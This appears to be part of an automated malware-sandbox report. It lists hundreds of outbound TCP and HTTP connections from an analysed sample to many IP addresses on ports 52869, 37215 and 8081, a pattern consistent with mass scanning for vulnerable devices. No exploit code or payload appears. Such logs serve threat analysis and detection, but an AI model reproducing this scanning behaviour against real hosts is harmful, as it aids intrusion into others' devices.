Source: global traffic	TCP traffic: 216.0.101.197 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 173.35.30.145 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 87.96.169.124 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.89.121.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 23.244.107.142 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 103.159.106.30 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 24.9.36.113 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 202.197.20.204 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 5.111.164.30 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 4.161.162.255 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.115.200.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.134.80 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 73.129.169.112 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 58.1.66.56 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 62.146.200.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 97.54.168.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 178.20.146.236 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.77.32.144 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 129.21.178.114 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 54.0.148.57 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 148.185.232.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 124.167.246.2 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 148.163.112.201 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.205.160.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 103.246.101.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 111.135.31.179 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.89.116.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 145.103.191.175 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 103.142.51.103 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 67.65.153.119 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 138.209.221.234 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 102.181.59.60 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 69.184.161.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.167.93.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.1.217.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 132.117.24.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 107.79.61.249 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 182.92.42.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.175.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.78.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 107.139.64.39 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 32.86.217.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 134.116.6.133 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.127.217.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 133.58.253.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.162.253.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.74.96.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 213.133.175.182 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 42.64.165.62 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 176.103.253.245 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 124.87.36.24 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 200.222.229.170 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.32.38.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 24.169.204.116 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 194.93.32.92 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.205.132.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 219.208.79.255 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 70.143.11.57 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 113.227.31.59 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.89.36.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 176.58.141.104 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 152.13.92.201 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 174.119.37.186 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 71.70.194.251 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 14.49.13.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 154.90.253.50 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.162.123.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.198.155.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 222.31.20.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 167.45.17.186 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 104.197.90.200 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 66.214.33.60 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 1.32.242.196 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 52.136.244.119 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.76.73.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 82.170.83.244 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.40.118.111 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 89.212.205.212 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 168.198.240.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 223.199.182.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 216.125.26.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 38.99.242.1 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 112.183.31.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 119.21.137.207 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 218.252.49.207 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 62.65.66.234 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 102.37.157.117 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 212.124.20.195 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.151.166.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 206.50.137.193 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.199.57.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 199.180.233.103 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.140.181.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 199.112.143.88 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 182.218.71.176 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.241.6.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 194.217.196.209 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 44.121.163.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 60.168.140.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 189.209.128.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 145.208.53.2 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 217.149.106.243 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 191.96.230.47 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 60.107.101.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 49.55.180.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 64.161.87.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.176.210.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 194.107.252.122 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 183.45.66.178 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.210.197.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 149.205.10.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 47.152.137.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 180.159.174.8 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.236.94.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 48.184.172.188 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.50.118.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 159.17.35.193 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 80.66.53.41 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 37.237.191.100 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 42.107.11.239 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 140.235.15.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.89.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 177.120.184.17 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 24.161.3.236 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 24.231.185.21 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 25.126.30.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 223.207.241.249 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 212.22.178.123 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 99.127.205.224 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 160.202.230.200 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 198.156.83.64 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 89.233.200.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.224.162.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.147.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 90.115.12.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 203.41.104.106 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.146.154.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 36.237.136.229 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 78.6.223.132 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 195.39.15.62 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.158.40.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 199.214.133.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.112.213.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 150.133.239.53 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.26.207.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 203.117.166.218 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.251.233.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 122.252.137.186 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 164.240.158.148 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 1.55.17.214 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 70.197.189.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 65.120.250.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.62.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 92.204.91.160 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 134.112.195.36 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 14.134.150.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 176.43.250.200 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 200.49.63.41 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 49.128.55.2 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 223.10.231.163 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 183.130.244.237 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 220.55.101.199 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 169.202.203.38 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 148.128.195.30 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 206.155.217.173 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 32.40.17.227 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 142.3.150.194 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 223.224.237.196 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 120.23.97.41 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 219.205.116.1 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 46.29.199.172 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.176.162.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 40.132.75.155 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.95.82.77 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 104.19.118.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 69.180.130.69 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 59.139.153.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 44.118.37.153 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.160.200.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.208.47.186 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 45.158.193.141 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.155.184.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.219.149.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 91.159.64.203 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.21.7.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 155.186.2.88 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 69.103.177.19 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.25.90.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 108.128.208.18 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 76.79.89.43 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 221.122.176.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 218.98.88.89 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 112.171.32.27 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.39.249.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 135.91.76.232 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 85.20.221.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.162.208.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 219.42.160.166 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 34.182.233.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 223.170.119.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.31.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 132.43.201.74 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 158.185.201.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 166.167.121.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 181.158.171.115 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 70.131.186.243 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.42.101.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 100.55.228.242 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 89.171.240.248 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 52.87.132.144 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 74.86.177.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 106.77.235.178 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 123.163.6.80 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 194.22.160.145 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 25.21.72.229 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 54.134.33.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 1.159.75.128 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 70.13.73.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.253.112.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 88.222.107.85 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 221.44.210.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 116.129.251.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 203.39.100.182 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 151.20.158.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.74.238.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 35.153.82.17 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 93.170.144.216 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 24.231.54.99 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.146.194.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 180.180.42.105 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 71.236.229.89 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 178.153.143.199 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 213.38.112.43 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 128.242.117.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 132.163.44.118 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.187.16.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 119.170.237.214 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 51.183.120.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 163.43.251.192 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.109.172.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 4.199.84.104 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.52.85.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 51.12.233.231 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 62.115.160.148 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 170.238.170.23 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 38.72.163.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 139.224.224.65 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 170.125.233.158 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.62.170.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 69.177.157.27 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 139.79.196.6 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.160.166.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 166.129.166.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.38.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 181.235.148.127 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 130.11.242.199 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 49.212.116.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 77.64.253.97 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 104.26.73.87 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 120.127.21.138 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 53.160.111.161 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.217.179.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 124.198.117.210 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.219.83.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.243.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 175.109.109.84 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 61.146.90.23 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 217.130.21.192 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 66.186.192.147 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 25.33.198.174 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 177.69.12.129 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 124.26.228.151 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 141.203.53.96 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.135.228.141 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 39574 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38292 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44182 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48142 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40888 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43930 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37458 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43394 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53020 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47418 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45158 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46692 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41758 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32838 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60776 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58256 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52890 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48566 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38068 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38250 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40840 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36298 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42866 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42306 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60590 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55874 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47922 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43136 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51080 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36118 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35130 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38954 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41986 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46572 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53962 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34640 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41184 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39438 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43862 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51404 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52158 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45682 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57164 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57872 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33188 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52870 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56016 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49394 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60644 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52272 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39482 -> 37215
